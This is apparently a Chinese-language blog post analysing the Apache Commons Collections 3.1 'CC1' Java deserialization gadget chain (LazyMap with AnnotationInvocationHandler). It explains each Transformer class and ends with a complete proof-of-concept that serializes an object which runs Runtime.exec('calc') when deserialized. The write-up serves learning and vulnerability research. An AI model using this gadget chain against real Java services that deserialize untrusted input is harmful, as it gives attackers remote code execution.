环境部署
JDK版本 8u71以下
commons-collections:3.1
commons-collections:3.1使用maven添加
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
Transformer
Transformer 是一个接口,提供了一个transform()方法。官方的注释是
将对象(保持不变)转换为某个输出对象
TransformedMap
TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。
当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理
可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理
之后看一下这两个方法,发现里面都有调用到 transform() 方法
这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。
ConstantTransformer
这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数
InvokerTransformer
这个类同样实现了Transofmer。
在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果
他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数
ChainedTransformer
这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复
这里借用一下P神的图
Poc构造
Transformer数组构造
看一下已经构造好的数组
这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
};
}
将这个数组作为参数传递给ChainedTransformer 类
上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用
这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("asdf");
}
在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的
在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。
调用ConstantTransformer#transform()
上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类
在调用完ConstantTransformer#transform() 之后开始下一次的循环
这次循环调用的是InvokerTransformer#transform()
InvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime
这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc"
执行完毕
LazyMap
LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中
看具体代码
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。
Java动态代理
上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行
在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的
这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法
这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
这里我们得出一条利用链
通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。
new xxx.readObject()
new LazyMap().xxx()
new AnnotationInvocationHandler().invoke()
new LazyMap().get()
new ChainedTransformer.transform()
new ConstantTransformer().transform()
new InvokerTransformer().transform()
接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject()
调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Map.Entry var5 = (Map.Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
完整攻击链
public static void main(String[] args) throws Exception{
//构造恶意数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
};
//获取恶意数组
Transformer transformerChain = new ChainedTransformer(transformers);
//将恶意方法作为修饰元素的方法
Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);
//反射获取并实例化动态代理
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);
//代理 lazyMap的接口,使用 LazyMap_handler代理
//proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);
//将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
Object handler = constructor.newInstance(Retention.class,proxyMap);
//反序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
oos.writeObject(handler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
ois.readObject();
}